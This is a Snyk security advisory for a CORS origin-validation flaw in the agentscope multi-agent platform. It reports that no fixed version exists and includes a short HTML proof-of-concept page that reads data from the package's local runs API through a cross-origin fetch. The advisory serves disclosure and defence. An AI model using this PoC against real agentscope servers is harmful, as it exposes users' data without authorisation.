Origin Validation Error Affecting agentscope package, versions [0,]


Severity

Recommended
0.0
medium
0
10

CVSS assessment made by Snyk's Security Team. Learn more

Threat Intelligence

Exploit Maturity
Proof of Concept

Do your applications use this vulnerable package?

In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.

Test your applications
  • Snyk IDSNYK-PYTHON-AGENTSCOPE-9511372
  • published24 Mar 2025
  • disclosed20 Mar 2025
  • creditM Nadeem Qazi

Introduced: 20 Mar 2025

NewCVE-2024-8487  (opens in a new tab)
CWE-346  (opens in a new tab)

How to fix?

There is no fixed version for agentscope.

Overview

agentscope is an AgentScope: A Flexible yet Robust Multi-Agent Platform.

Affected versions of this package are vulnerable to Origin Validation Error due to the CORS configuration on the server. An attacker can access unauthorized data and disclose information by sending requests from untrusted origins.

PoC

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>CORS PoC</title>
    <script>
        function makeCorsRequest() {
            fetch('http://127.0.0.1:5000/api/runs/all', {
                method: 'GET',
                headers: {
                    'Content-Type': 'application/json',
                },
            })
            .then(response => response.json())
            .then(data => {
                console.log('Response Data:', data);
                document.getElementById('response').innerText = JSON.stringify(data, null, 2);
            })
            .catch(error => {
                console.error('Error:', error);
            });
        }
    </script>
</head>
<body>
    <h1>CORS PoC</h1>
    <button onclick="makeCorsRequest()">Make CORS Request</button>
    <pre id="response"></pre>
</body>
</html>

References

CVSS Base Scores

version 4.0
version 3.1